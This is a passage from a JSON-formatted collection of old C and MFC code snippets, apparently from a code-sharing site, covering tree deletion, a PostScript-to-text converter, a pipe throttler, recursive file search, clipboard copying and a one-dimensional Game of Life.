search(root->right, target, count);\n if(target < root->letter)\n return search(root->left, target, count);\n return 007; /* Bond, James Bond */\n}\n/* Begin freeTempTree function */\nvoid freeTree(TREE *root)\n{\n if(root!=NULL){ /* As long as root isn't null, recursively */\n freeTree(root->left); /* travel tree in postorder freeing the */\n freeTree(root->right); /* nodes as you go. */\n free(root);\n }\n}\n/* Begin deleteNode function */\nint deleteNode(TREE *T_ptr, char target)\n {\n int rt_child = 0, lft_child = 0;\n TREE *ptr = T_ptr, *parent = T_ptr, *S = T_ptr, *save = T_ptr;\n /*-----------------------------------------------+\n | Find the node\n +-----------------------------------------------*/\n while (ptr != NULL && ptr->letter != target) {\n parent = ptr;\n if (target < ptr->letter) ptr = ptr->left;\n else ptr = ptr->right;\n }\n if (ptr == NULL) return 0; /* Nothing to delete */\n else if (S->letter == target && (S->left == NULL || S->right == NULL))\n S = (S->left == NULL) ? S->right : S->left;\n else\n /*-----------------------------------------------+\n | Delete a node without a left child\n +-----------------------------------------------*/\n if (ptr->left == NULL)\n if (target < parent->letter) parent->left = ptr->right;\n else parent->right = ptr->right;\n /*-----------------------------------------------+\n | Delete a node without a right child\n +-----------------------------------------------*/\n else if (ptr->right == NULL)\n if (target < parent->letter) parent->left = ptr->left;\n else parent->right = ptr->left;\n /*--------------------------------------------------------------+\n | Delete a node with both chidren--use RsmallestS subtree.\n +--------------------------------------------------------------*/\n else {\n save = ptr;\n parent = ptr;\n if ((ptr->left) >= (ptr->right)) {\n ptr = ptr->left; /* Delete from left subtree.*/\n while (ptr->right != NULL) {\n rt_child = 1;\n parent = ptr;\n ptr = ptr->right;\n }\n save->letter = ptr->letter;\n if (rt_child) parent->right = ptr->left;\n else parent->left = ptr->left;\n }\n else { /* Delete from right subtree.*/\n ptr = ptr->right;\n while (ptr->left != NULL) {\n lft_child = 1;\n parent = ptr;\n ptr = ptr->left;\n }\n save->letter = ptr->letter;\n if (lft_child) parent->left = ptr->right;\n else parent->right = ptr->right;\n }\n }\n free(ptr);\n return 1; /* Indicates successful deletion */\n }\n"},{"WorldId":3,"id":47,"LineNumber":1,"line":"/*********************************************************************/\n/* */\n/* Title: dpview.c */\n/* */\n/* Comments: This program takes the input of a Postcript file, */ \n/* converts the codes in it to plain text which is */\n/* displayed and re-directable. */\n/* */\n/* Author: David Yuan */\n/* */\n/* Date Created: 19/04/1996 */\n/* */\n/* Date Last Modified: 16/06/1996 */\n/* */\n/* Permission of distribution is granted, provided no alternation, */\n/* commenting or modification is made towards any parts of */\n/* the source code and the binary code. */\n/* */\n/*********************************************************************/\n#include <stdio.h>\n#include <ctype.h>\n#include <string.h>\n#include <stdlib.h>\n#include \"file_handle.c\"\n#include \"fggets.c\"\n#define INDICATOR_STR1 \"%%EndSetup\" /* First string to be searched */\n#define INDICATOR_STR2 \"%%Page\" /* Second string to be searched */\n#define SPACE_CHAR 0x20 /* space character */\n#define NULL_CHAR 0x0 /* null character */\n#define BACK_SLASH '\\\\' /* back slash character */\n#define L_BRACKET '(' /* left bracket character */\n#define R_BRACKET ')' /* right bracket character */\n#define S_QUOTE '\\'' /* single quotation mark */\n#define D_QUOTE '\"' /* double quotation mark */\n#define TRUE 1 /* Logical constant */\n#define FALSE 0 /* Logical constant */\n#define KILO_BYTE 1024 /* machine related constant */\n#define MAX_STR_LEN 512 /* Longest length of string allowed */\n#define MAX_BUFR_SIZE (KILO_BYTE * 16) /* Define 16KB buffer size for */\n\t\t\t\t\t\t\t/* both input and output file */\n#define output_line(x) fprintf(outf, \"%s\\n\", (x))\n#define output_line_break fprintf(outf, \"\\n\")\n#define output_line_without_line_break(x) fprintf(outf, \"%s\", (x))\n#ifndef __BORLANDC__\n char inbufr[MAX_BUFR_SIZE]; /* reserve space for input file buffers */\n char outbufr[MAX_BUFR_SIZE]; /* reserve space for output file buffers */\n#endif\ntypedef int BOOL; /* Define boolean type */\nFILE *inf; /* handle of input file */\nFILE *outf; /* handle of output file */\nFILE *errf; /* handle of error log file */\nchar Linebuff[MAX_STR_LEN]; /* pre-allocated input line buffer */\nchar Outbuff[MAX_STR_LEN]; /* pre-allocated output line buffer */\nchar Indcbuff[MAX_STR_LEN]; /* pre-allocated string buffer */\nchar Sub_string[MAX_STR_LEN]; /* pre-allocated string buffer */\nchar * pLinebuff; /* pointer to input line buffer */\nchar * pOutbuff; /* pointer to output line buffer */\nchar * pIndcbuff; /* pointer to string buffer */\nchar * pSubstr; /* pointer to another string buffer */\nint pageno = 0; /* page number to be inserted into the page break */\nint done = 0; /* indicator for end of line */\n \nBOOL dp_error = FALSE; /* boolean variable */\n\t\t\t\t\t\t\t/* when error happens it is set to be TRUE */\nBOOL supress_page_break = FALSE; /* variable to decide whether */\n\t\t\t\t\t\t\t/* output page break or not */\n/* close all opened files */\n/* write message to error log if necessary */\nvoid closefiles(void)\n{\n fclose(inf);\n fclose(outf);\n if (!dp_error) fprintf(errf, \"\\nNo error.\\n\");\n fclose(errf);\n}\n/* display and write to error log file a message about non-Postscript format */\nvoid msgNonPS(void)\n{\n printf(\"\\nError-->Non-Postcript input file.\\n\\n\");\n fprintf(errf, \"\\nError-->Non-Postcript input file.\\n\\n\");\n closefiles();\n exit(-9);\n}\n/* writes a page break into output file */\nvoid output_page_break()\n{\n pageno++;\n if (!supress_page_break)\n fprintf(outf, \"\\n\\n============================ Page %i ===========================\\n\\n\\n\", pageno);\n return;\n}\n/* copy characters between two pointers: p1 and p2 */\n/* to the location starting: p0 */\n/* if p2 is pointed to an address smaller than p1 */\n/* this loop will terminate and NULL string returned */\nchar * getSubstring(char * p0, char * p1, char * p2)\n{\n char * temp1;\n char * temp2;\n /* copy characters */\n temp1 = p0;\n temp2 = p1;\n /* terminate if p1 is pointed address after p2 */\n if (p1 <= p2)\n {\n if (p1[0] == L_BRACKET)\n {\n /* search until right bracket is found */\n while ((temp2[0] != R_BRACKET) && (temp2[0] != NULL_CHAR)) {\n\t temp1[0] = temp2[0];\n\t temp1++;\n\t temp2++;\n }\n /* do not forget to copy the character pointed by: p2 */\n temp1[0] = temp2[0];\n }\n else\n {\n /* just find the next space or EOL character */\n while (temp2 != p2) {\n\t temp1[0] = temp2[0];\n\t temp1++;\n\t temp2++;\n }\n /* do not forget to copy the character pointed by: p2 */\n temp1[0] = temp2[0];\n }\n }\n (++temp1)[0] = NULL_CHAR;\n (++temp1)[0] = NULL_CHAR;\n return temp2;\n}\n/* analyze the line read-in from input file */\n/* source line pointer passed in by char * s1 */\n/* pointer analyzed line stored and passed out by char * s2 */\nint analyze_line(char * s1, char * s2)\n{\n int RC = 0;\n char * c1;\n char * c2;\n char * c3;\n char * c4;\n char * c5;\n int n_ptr;\n char numero[MAX_STR_LEN];\n c1 = s1;\n c2 = s2;\n /* set the analyze result string to be blank */\n c2[0] = NULL_CHAR;\n c2[1] = NULL_CHAR;\n /* handle comment lines */\n /* in Postscript, comment lines start with two percentage signs: \"%%\" */\n if (strstr(c1, \"%%\") == c1) return RC;\n while (c1[0])\n {\n /* skip spaces and TAB keys */\n c3 = c1;\n while ((c3[0] <= SPACE_CHAR) && (c3[0])) c3++;\n /* at the end of input string */\n if (!c3[0])\n {\n if (strlen(s2) > 0)\n {\n\toutput_line_without_line_break(s2);\n\tc2 = s2;\n\ts2 = NULL_CHAR;\n }\n break;\n }\n /* starting of a word */\n c1 = c3;\n if (c1[0] != L_BRACKET)\n {\n if (c1[0] == R_BRACKET)\n {\n\twhile ((c1[0] == SPACE_CHAR) || (c1[0] == R_BRACKET)) c1++;\n\tc3 = c1;\n }\n while ((c3[0] > SPACE_CHAR) && (!c3[0])\n\t && (c3[0] != L_BRACKET) && (c3[0] != R_BRACKET)) c3++;\n c3--;\n /* getting of a sub-string */\n c3 = getSubstring(pSubstr, c1, c3);\n }\n else\n {\n while ((c3[0] > SPACE_CHAR) && (!c3[0]) && (c3[0] != R_BRACKET))\n {\n\tif (c3[0] != BACK_SLASH)\n\t c3++;\n\telse\n\t{\n\t c3++;\n\t c3++;\n\t}\n }\n /* getting of a sub-string */\n c3 = getSubstring(pSubstr, c1, c3);\n }\n /* update current char pointer */\n c1 = c3;\n c1++;\n /* discriminate the token read-in */\n switch (strlen(pSubstr))\n {\n case 0: break;\n case 1: {\n\t\tswitch (pSubstr[0])\n\t\t{\n\t\t case 'y':\n\t\t case 'T':\n\t\t case 'P':\n\t\t case 'Q':\n\t\t {\n\t\t c2[0] = NULL_CHAR;\n\t\t if (strlen(s2) > 0)\n\t\t output_line(s2);\n\t\t else\n\t\t output_line_break;\n\t\t if (pSubstr[0] == 'Q')\n\t\t output_line_break;\n\t\t c2 = s2;\n\t\t s2[0] = NULL_CHAR;\n\t\t s2[1] = 0;\n\t\t break;\n\t\t }\n\t\t case 'b':\n\t\t case 'c':\n\t\t case 'd':\n\t\t case 'e':\n\t\t case 'f':\n\t\t case 'g':\n\t\t case 'h':\n\t\t case 'i':\n\t\t case 'j':\n\t\t case 'k':\n\t\t {\n\t\t /* between 'b' and 'k' */\n\t\t c2[0] = SPACE_CHAR;\n\t\t c2++;\n\t\t c2[0] = NULL_CHAR;\n\t\t break;\n\t\t }\n\t\t}\n\t }\n default: {\n\t\tif (strcmp(pSubstr, \"eop\") == 0)\n\t\t{\n\t\t if (strlen(s2) > 0)\n\t\t output_line(s2);\n\t\t c2 = s2;\n\t\t s2[0] = NULL_CHAR;\n\t\t s2[1] = NULL_CHAR;\n\t\t output_page_break();\n\t\t break;\n\t\t}\n\t\t/* a displayable word entered */\n\t\tif ((pSubstr[0] == L_BRACKET) && (pSubstr[strlen(pSubstr)-1] == R_BRACKET))\n\t\t{\n\t\t if (strchr(pSubstr, SPACE_CHAR) != NULL)\n\t\t {\n\t\t if (strstr(pSubstr, \"(Error: )\") != NULL) break;\n\t\t if (strstr(pSubstr, \"(converted error name will end\") != NULL) break;\n\t\t if (strstr(pSubstr, \"(converted stack will end\") != NULL) break;\n\t\t if (strstr(pSubstr, \"(Stack: )\") != NULL) break;\n\t\t if (strstr(pSubstr, \"(Incompatable color bitimage\") != NULL) break;\n\t\t if (strstr(pSubstr, \"(Offending Command:\") != NULL) break;\n\t\t }\n\t\t c4 = pSubstr + 1;\n\t\t while (!c4[0])\n\t\t {\n\t\t switch (c4[0])\n\t\t {\n\t\t case R_BRACKET:\n\t\t\t c2[0] = 0;\n\t\t\t c2--;\n\t\t\t break;\n\t\t case BACK_SLASH:\n\t\t\t c4++;\n\t\t\t if (!isdigit(c4[0]))\n\t\t\t c2[0] = c4[0];\n\t\t\t else\n\t\t\t /* handle number */\n\t\t\t {\n\t\t\t c5 = c4;\n\t\t\t n_ptr = 0;\n\t\t\t while ((isdigit(c5[0])) && (n_ptr < 3)) {\n\t\t\t\t numero[n_ptr++] = c5[0];\n\t\t\t\t c5++;\n\t\t\t }\n\t\t\t numero[n_ptr] = 0;\n\t\t\t switch (atoi(numero))\n\t\t\t {\n\t\t\t\t case 13:\n\t\t\t\t (c2++)[0] = 'f';\n\t\t\t\t c2[0] = 'f';\n\t\t\t\t break;\n\t\t\t\t case 14:\n\t\t\t\t case 336:\n\t\t\t\t (c2++)[0] = 'f';\n\t\t\t\t c2[0] = 'i';\n\t\t\t\t break;\n\t\t\t\t case 322:\n\t\t\t\t case 323:\n\t\t\t\t c2[0] = D_QUOTE;\n\t\t\t\t break;\n\t\t\t\t case 324:\n\t\t\t\t case 325:\n\t\t\t\t c2[0] = S_QUOTE;\n\t\t\t\t break;\n\t\t\t\t case 134:\n\t\t\t\t c2[0] = BACK_SLASH;\n\t\t\t\t break;\n\t\t\t\t case 50:\n\t\t\t\t c2[0] = L_BRACKET;\n\t\t\t\t break;\n\t\t\t\t case 51:\n\t\t\t\t c2[0] = R_BRACKET;\n\t\t\t\t break;\n\t\t\t\t case 245:\n\t\t\t\t (c2++)[0] = '+';\n\t\t\t\t c2[0] = SPACE_CHAR;\n\t\t\t\t break;\n\t\t\t\t default:c2[0] = (char) atoi(numero);\n\t\t\t }\n\t\t\t c4 = c5 - 1;\n\t\t\t }\n\t\t\t break;\n\t\t default:\n\t\t\t c2[0] = c4[0];\n\t\t\t break;\n\t\t }\n\t\t }\n\t\t c2++;\n\t\t c4++;\n\t\t c2[0] = NULL_CHAR;\n\t\t break;\n\t\t}\n\t\tbreak;\n\t }\n } /* the biggest switch statement in this program */\n }\n /* flush line buffer if it is not empty */\n if (strlen(s2) > 0)\n output_line_without_line_break(s2);\n s2[0] = NULL_CHAR;\n s2[1] = NULL_CHAR;\n return RC;\n}\n/* to check the first line of the file to tell */\n/* if it is a Postscript formatted file */\nvoid verifyPostscript(void)\n{\n /* read one non-blank line */\n do {\n fggets(pLinebuff, 1024, &done, inf);\n } while (!strlen(pLinebuff));\n /* check the Postscript indicator */\n if (strstr(pLinebuff, \"%!PS\") != pLinebuff)\n msgNonPS();\n else\n return;\n}\n/* to display usage on the stdio */\n/* argument name is the program name */\nvoid displayUsage(char * name)\n{\n char * ptr;\n char * nameptr;\n char nname[100];\n strcpy(nname, name);\n /* find the last back slash character */\n ptr = strrchr(nname, BACK_SLASH);\n if (ptr)\n nameptr = ++ptr;\n else\n nameptr = name;\n#ifdef __BORLANDC__\n /* find the dot, then put a NULL-CHARACTER at that place */\n ptr = strrchr(nname, '.');\n if (ptr) ptr[0] = NULL;\n#endif\n#ifdef MSDOS\n /* find the dot, then put a NULL-CHARACTER at that place */\n if (ptr = strrchr(nname, '.')) ptr[0] = NULL_CHAR;\n#endif\n printf(\"\\nUsage: %s PS-file-name [ -b ]\", nameptr);\n printf(\"\\n (dump content of PS file onto the screen.)\");\n printf(\"\\n\\noptional -b: suppress page-break within output\");\n printf(\"\\n\\nother usage: %s PS-file-name [ -b ] > Text-file-name\", nameptr);\n printf(\"\\n\\n %s PS-file-name [ -b ] | more\", nameptr);\n printf(\"\\n\\nCopyright: David Yuan (C), Deakin University, May, 1996.\\n\\n\");\n fprintf(errf, \"\\nError-->No argument is supplied.\\n\\n\");\n fclose(errf);\n}\n/* Main body of the program */\nvoid main(int argCount, char **argument)\n{\n /* to reserve space for both input and output file buffers */\n#ifdef __BORLANDC__\n char inbufr[MAX_BUFR_SIZE];\n char outbufr[MAX_BUFR_SIZE];\n#endif\n /* To set up pointers to the text buffers, */\n /* such arrangement make sure the program to be simple and fast */\n /* no malloc() or free() function call is necessary */\n /* set every bytes in these strings to be NULL char as precaution */\n pLinebuff = (char *) (&Linebuff);\n memset(pLinebuff, NULL_CHAR, MAX_STR_LEN - 1);\n pOutbuff = (char *) (&Outbuff);\n memset(pOutbuff, NULL_CHAR, MAX_STR_LEN - 1);\n pIndcbuff = (char *) (&Indcbuff);\n memset(pIndcbuff, NULL_CHAR, MAX_STR_LEN - 1);\n pSubstr = (char *) (&Sub_string);\n memset(pSubstr, NULL_CHAR, MAX_STR_LEN - 1);\n /* pre-open the error log file */\n errf = fopen(\"DPVIEW.ERROR\", TEXT_WRITE);\n /* handles arguments of the program */\n /* display usage information if wrong number of arguments given */\n if ((argCount < 2) || (argCount > 4))\n {\n displayUsage(argument[0]);\n exit(0);\n }\n /* supress string */\n if ((strcmp(argument[2], \"-b\") == 0)) supress_page_break = TRUE;\n /* check the existance of the input file */\n if (argCount >= 2)\n {\n if ((inf = fopen(argument[1], TEXT_READ)) == NULL)\n {\n printf(\"\\nError-->File: %s can not be opened.\\n\\n\", argument[1]);\n fprintf(errf, \"\\nError-->File: %s can not be opened.\\n\\n\", argument[1]);\n fclose(inf);\n fclose(errf);\n exit(-1);\n }\n else\n {\n /* attempt to set up input file buffer */\n if ((setvbuf(inf, (char *)(&inbufr), _IOLBF, MAX_BUFR_SIZE)) != 0)\n {\n\tprintf(\"\\nError-->System memory too low to execute program.\\n\\n\");\n\tfprintf(errf, \"\\nError-->System memory too low to execute program.\\n\\n\");\n\tfclose(inf);\n\tfclose(errf);\n\texit(-5);\n }\n else\n\tverifyPostscript();\n }\n }\n /* dump output to screen */\n outf = (FILE *) (stdout);\n /* read in input file line by line */\n /* until the first indicator string is found */\n strcpy(pIndcbuff, INDICATOR_STR1);\n while (!done)\n {\n fggets(pLinebuff, 1024, &done, inf);\n if (strstr(pLinebuff, pIndcbuff) != NULL)\n {\n if ((feof(inf))) done = 1;\n break;\n }\n }\n /* read in input file line by line */\n /* until the second indicator string is found */\n /* The real PS text content begins from the next line */\n strcpy(pIndcbuff, INDICATOR_STR2);\n while (!done)\n {\n fggets(pLinebuff, 1024, &done, inf);\n if (strstr(pLinebuff, pIndcbuff) != NULL)\n {\n if ((feof(inf))) done = 1;\n break;\n }\n }\n /* read in input file line by line */\n /* analyze it and output plain text into output file */\n do {\n fggets(pLinebuff, 1024, &done, inf);\n analyze_line(pLinebuff, pOutbuff);\n if ((feof(inf))) done = 1;\n } while (!done);\n /* close input, output and error log files */\n closefiles();\n return;\n}\n/* End of main body of the program */\n"},{"WorldId":3,"id":55,"LineNumber":1,"line":"/* \n * Title: \tSlowpipe.C\n * \n * Description: Bandwidth restriction for UNIX pipes\n *\n * This software may be freely redistrubuted providing this comment remains \n * unchanged.\n *\n * Author: \tIain W. Bird, http://www.birdsoft.demon.co.uk\n *\t\twes@birdsoft.demon.co.uk\n */\n#include <sys/time.h>\n#include <stdio.h>\n#include <unistd.h>\n#include <stdlib.h>\nmain(int argc, char **argv)\n{\n\tFILE *fd;\n\tchar c;\n\tchar *buffer;\n\tint bufsiz = 16;\n\tint i;\n\tint sleep = 0;\n\tint full = 0;\n\tstruct timeval tval;\n\tdouble kps = 2.0,bps,pps;\n\tunsigned long t_s, t_us;\n\tif(argc != 2)\n\t{\n\t\tperror(\"Usage slowpipe <K per second e.g. 6.0>\");\n\t\texit(1);\n\t}\n\tsscanf(argv[1],\"%lg\",&kps);\n\tif ( kps > 10.0 )\n\t{\n\t\tbufsiz = 1024;\n\t}\n\telse if ( kps > 5.0 )\n\t{\n\t\tbufsiz = 512;\n\t}\n\telse if ( kps > 2.0 )\n\t{\n\t\tbufsiz = 256;\n\t}\n\telse if ( kps > 1.0 )\n\t{\n\t\tbufsiz = 128;\n\t}\n\telse if ( kps > 0.5 )\n\t{\n\t\tbufsiz = 64;\n\t}\n\tbps = 1024.0 * kps;\n\tpps = bps / bufsiz;\n\tif(pps > 1.0)\n\t{\n\t\tt_s = 0.0;\n\t\tt_us= 1.0e6 / pps;\n\t}\n\telse\n\t{\n\t\tt_s = 1.0 / pps;\n\t\tt_us = 0;\n\t}\n\tfprintf(stderr,\"%6.2g K per second, bufsiz = %d\\n\",kps,bufsiz); \n\tbuffer = malloc(bufsiz);\n\tif(!buffer)\n\t{\n\t\tperror(\"Unable to allocate buffer\");\n\t\texit(1);\n\t}\n\n\ti = 0;\n\twhile (1)\n\t{\n\t\tif (!full)\n\t\t{\n\t\t\tif(i < bufsiz)\n\t\t\t{\n\t\t\t\tbuffer[i] = fgetc(stdin);\n\t\t\t\tif(feof(stdin))\n\t\t\t\t{\n\t\t\t\t\tfwrite(buffer,1,i,stdout);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tif(++i == bufsiz)\n\t\t\t\t{\n\t\t\t\t\tfull = !0;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* go for a blocking select since the buffer is full */\n\t\t\ttval.tv_sec = t_s;\n\t\t\ttval.tv_usec = t_us;\n\t\t\tselect ( 0, 0, 0, 0, &tval );\n\t\t\tfwrite(buffer,1,bufsiz,stdout);\n\t\t\tfull = 0;\n\t\t\ti = 0;\n\t\t}\n\t}\n\tfree(buffer);\n}"},{"WorldId":3,"id":70,"LineNumber":1,"line":"void CTestView::OnSearch() \n\t{\n\t\n\t// szFilename is declared in the header as array of char\n\t// look for MyFile.txt (or whatever)\n\t\n\t\tstrcpy(szFilename,\"MyFile.txt\");\n\t\n\t// go to root directory (or to whichever directory that you wish)\n\t\n\t\t_chdir(\"C:\\\\\");\n\t\n\t// search for the filename\n\t\n\t\tSearchDirectory();\n\t\n\t// announce when done\n\t\n\t\tMessageBox(\"Done Searching\");\t\n\t}\n\nSearchDirectory() is called initially from OnSearch(). SearchDirectory() is then called recursively (from itself) until the end of the directory tree is reached and all branches are searched. \n\tvoid CTestView::SearchDirectory() \n\t{\n\t\tstruct _finddata_t filestruct;\n\t\tlong hnd;\n\t\tchar buffer[_MAX_PATH];\n\t\n\t// set _findfirst to find everthing\n\t\n\t\thnd = _findfirst(\"*\",&filestruct);\n\t\n\t// if handle fails, drive is empty...\n\t\n\t\tif((hnd == -1)) return;\n\t\n\t// get first entity on drive - check if it's a directory\n\t\n\t\tif(::GetFileAttributes(filestruct.name) & FILE_ATTRIBUTE_DIRECTORY \n\t\t\t&& !(::GetFileAttributes(filestruct.name) & FILE_ATTRIBUTE_HIDDEN)) { \n\t\t\n\t// if so, change to that directory and recursively call SearchDirectory\n\t\t\n\t\t\tif(*filestruct.name != '.') { \n\t\t\t\n\t\t\t\t_chdir(filestruct.name);\n\t\t\t\n\t\t\t\tSearchDirectory();\n\t// go back up one directory level\n\t\t\t\n\t\t\t\t_chdir(\"..\");\n\t\t\t}\n\t\t}\t\n\t\telse {\n\t// if it's not a directory and it matches what you want...\n\t\t\tif(!stricmp(filestruct.name,szFilename)) {\n\t// output the filename with path to debugger\n\t\t\t\t_getcwd(buffer,_MAX_PATH);\n\t\t\t\tstrcat(buffer,\"\\\\\");\n\t\t\t\tstrcat(buffer,filestruct.name); \n\t\t\t\tstrcat(buffer,\"\\r\\n\");\n\t\t\t\tOutputDebugString(buffer);\n\t\t\t}\t\t\n\t\t}\n\t\n\t\twhile(!(_findnext(hnd,&filestruct))) {\n\t\t\n\t\t\tif(::GetFileAttributes(filestruct.name) & FILE_ATTRIBUTE_DIRECTORY \n\t\t\t\t&& !(::GetFileAttributes(filestruct.name) & FILE_ATTRIBUTE_HIDDEN)) {\n\t\t\t\n\t\t\t\tif(*filestruct.name != '.') { \n\t\t\t\t\t_chdir(filestruct.name);\n\t\t\t\t\n\t\t\t\t\tSearchDirectory();\n\t\t\t\t\n\t\t\t\t\t_chdir(\"..\");\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\n\t\t\t\tif(!stricmp(filestruct.name,szFilename)) {\n\t\t\t\t\t_getcwd(buffer,_MAX_PATH); \n\t\t\t\t\tstrcat(buffer,\"\\\\\");\n\t\t\t\t\tstrcat(buffer,filestruct.name);\n\t\t\t\t\tstrcat(buffer,\"\\r\\n\");\n\t\t\t\t\tOutputDebugString(buffer);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\n\t\t_findclose(hnd);\t\n\t}"},{"WorldId":3,"id":92,"LineNumber":1,"line":". For example, to create CEdit control, you can do the following:\n1) add a member variable m_ec_myedit to your dialog .h file; \n2) I assume that your dialog templete has some control with ID = IDC_ABOVE_DYNAMIC_EDIT, and you want your dynamically created edit control to have the same width and be placed under IDC_ABOVE_DYNAMIC_EDIT. Then add the following code under the call to CDialog::OnInitDialog() in your overriden OnInitDialog(): \nGetDlgItem(IDC_ABOVE_DYNAMIC_EDIT)->GetWindowRect(rect); \nScreenToClient(rect); \nCRect rectNew(rect.left, rect.bottom+5, rect.right, rect.bottom+35); \nm_myEdit.CreateEx(WS_EX_CLIENTEDGE, \"EDIT\", NULL \n/*lpszWindowName*/, \nWS_CHILD|WS_VISIBLE|WS_GROUP|WS_TABSTOP|WS_BORDER, rectNew.left, rectNew.top, \nrectNew.Width(), rectNew.Height(), this->GetSafeHwnd(), NULL, NULL); \nm_myEdit.ShowWindow(SW_SHOW); \nIt's that simple. The only thing that differs for different control classes is window styles. Usually, you can find the most important of style and extended style constants in online help.\n"},{"WorldId":3,"id":100,"LineNumber":1,"line":"To make room for a control bar within the client area of the dialog, follow these steps in your dialog's OnInitDialog() function: \nCreate the control bars. \nCRect rcClientStart;\nCRect rcClientNow;\nGetClientRect(rcClientStart);\nRepositionBars(AFX_IDW_CONTROLBAR_FIRST,\nAFX_IDW_CONTROLBAR_LAST,0, reposQuery,rcClientNow);\nFigure out how much room the control bars will take by using the reposQuery option of RepositionBars(): \nCPoint ptOffset(rcClientStart.left - rcClientNow.left,\n rcClientStart.top - rcClientNow.top);\nptOffset.y += ::GetSystemMetrics(SM_CYMENU);\nCRect rcChild;\nCWnd* pwndChild = GetWindow(GW_CHILD);\nwhile (pwndChild)\n{\n pwndChild->GetWindowRect(rcChild);\n rcChild.OffsetRect(ptOffset);\n pwndChild->MoveWindow(rcChild, FALSE);\n pwndChild = pwndChild->GetNextWindow();\n} \nMove all the controls in your dialog to account for space used by control bars at the top or left of the client area. If your dialog contains a menu, you also need to account for the space used by the menu:4. Increase the dialog window dimensions by the amount of space used by the control bars: \nCRect rcWindow;\nGetWindowRect(rcWindow);\nrcWindow.right += rcClientStart.Width()\n - rcClientNow.Width();\nrcWindow.bottom += rcClientStart.Height() \n - rcClientNow.Height();\nMoveWindow(rcWindow, FALSE);\nPosition the control bars using RepositionBars(). \nTo update the first pane of a status bar with menu item text, you must handle WM_MENUSELECT, WM_ENTERIDLE, and WM_SETMESSAGESTRING in your dialog class. You need to duplicate the functionality of the CFrameWnd handlers for these messages. See the CModelessMain class in the sample program for examples of these message handlers. \nTo allow ON_UPDATE_COMMAND_UI handlers to work for other status bar panes and for toolbar buttons, you must derive new control bar classes and implement a message handler for WM_IDLEUPDATECMDUI. This is necessary because the default control bar implementations of OnUpdateCmdUI() assume the parent window is a frame window. However, it doesn't do anything but pass the parent window pointer on to a function which only requires a CCmdTarget pointer. Therefore, you can temporarily tell OnUpdateCmdUI() that the parent window pointer you are giving it is a CFrameWnd pointer to meet the compiler requirements. Here's an example: \nLRESULT CDlgToolBar::OnIdleUpdateCmdUI(WPARAM wParam,LPARAM lParam)\n{\n if (IsWindowVisible())\n {\n CFrameWnd* pParent = (CFrameWnd*)GetParent();\n if (pParent)\n OnUpdateCmdUI(pParent, (BOOL)wParam);\n }\n return 0L;\n} \nTo pass WM_IDLEUPDATECMDUI messages on to dialogs other than the main window, save dialog pointers in your frame window class and create a WM_IDLEUPDATECMDUI handler in that class. The handler should send the WM_IDLEUPDATECMDUI message on to the dialog child windows by using CWnd::SendMessageToDescendants(). Then perform default processing for the message within the frame window. \n"},{"WorldId":3,"id":132,"LineNumber":1,"line":"CString str = \"Some text\";\n::OpenClipboard(this->m_hWnd);\n::EmptyClipboard();\nHGLOBAL h = GlobalAlloc(GHND | GMEM_SHARE, str.GetLength() + 1);\nstrcpy((LPSTR)GlobalLock(h), str);\nGlobalUnlock(h);\n::SetClipboardData(CF_TEXT, h);\n::CloseClipboard(); \n"},{"WorldId":3,"id":7,"LineNumber":1,"line":"/* Simulation of Conway's game of Life on a bounded grid in \none dimension.\nName: J. Edgington Date: 09/08/99\nPre: The user must supply an initial configuration of living cells.\nPost: The program prints a sequence of maps showing the changes in\n the configuration of living cells according to the rules for the\n game of Life.\nUses: functions Initialize, WriteMap, NeighborCount, NextGeneration, \n CopyMap, and UserSaysYes\n */\n#include \"stdafx.h\"\n#include \"common.h\" /* common include files and definitions */\n#include \"life.h\" /* Life's defines, typedefs, and prototypes */\nvoid main(void)\n{\n int col;\n Grid map; /* current generation */\n Grid newmap; /* next generation */\n if(( inputs = fopen( \"input.dat\", \"r\" ))== NULL )\n fprintf( outputs,\"The file input.dat was not opened\\n\" );\n if(( outputs = fopen( \"output.dat\", \"w\" )) == NULL )\n fprintf( outputs,\"The file ouput.dat. was not opened\\n\" );\n else\n {\n col=99;\n Initialize(map);\n WriteMap(map);\n fprintf(outputs,\"[]This is the initial configuration you have chosen.[]\");\n\tNextGeneration(map,newmap);\n CopyMap(map, newmap);\n WriteMap(map);\n fprintf(outputs,\"[]Do you wish to continue viewing the new generations(y,n)?[]\");\n\t}\n UserSaysYes(map, newmap);\n fclose( outputs );\n\tfclose( inputs );\n}\n/* NeighborCount: count neighbors of row,col.\nPre: The col is a valid cell in a Life configuration.\nPost: The function returns the number of living neighbors of the living cell.\n */\nint NeighborCount(Grid map, int col)\n{\n int i=0; /* column of a neighbor of the cell (col) */ \n int count = 0; /* counter of living neighbors */\n for (i = col - 2; i <= col + 2; i++)\n \n\tif (BoundsMap(map,i) == ALIVE)\n count++;\n if (map[col] == ALIVE)\n count--;\n return count;\n}\n/*pre:index of array to look at. example:3\npost:ALIVE or DEAD\n Also handles case of index < 1 or index > MAXCOL \n(i.e. out of bounds)*/\nint BoundsMap(Grid map,int i)\n{\n\tif (i<1 || i>MAXCOL)\n\t\treturn DEAD;\n\telse\n\t\treturn map[i];\n}\n/* Initialize: initialize grid map.\nPre: None.\nPost: All the cells in the grid map have been set to\n initial configuration of living cells.\n */\nvoid Initialize(Grid map)\n{\n int col=0; /* coordinates of a cell */\n\t\n fprintf(outputs,\"[]This program is a simulation of the game of Life.[]\"\n \"[]The grid has a size of %d columns.[]\", MAXCOL);\n fprintf(outputs,\"[]On each line give an index for a living cell.[]\"\n\t \"[]Terminate the list with the special index 0.[]\");\n\t \n for (col = 0; col <= MAXCOL + 1; col++)\n {\n map[col] = DEAD; /* Set all cells empty, including the hedge. */\n }\n fscanf( inputs, \"%d\", &col );\n do \n {\n \n if ( col >= 1 && col <= MAXCOL)\n map[col] = ALIVE;\n else\n\t fprintf(outputs,\"[]Values are not within range.[]\");\n fscanf(inputs,\"%d\", &col);\n }\n while ( col != 0); /* Checks for termination condition. */\n}\n/* WriteMap: display grid map.\nPre: The single line array map contains the current Life configuration.\nPost: The current Life configuration is written for the user.\n*/\nvoid WriteMap(Grid map)\n{\n int col;\n char a='*',d='-';\n for (col = 1; col <= MAXCOL; col++)\n {\n\t if (map[col] == ALIVE)\n \tfprintf(outputs,\"%c\",a);\n else\n\t fprintf(outputs,\"%c\",d);\n }\t\n \n}\n/* CopyMap: copy 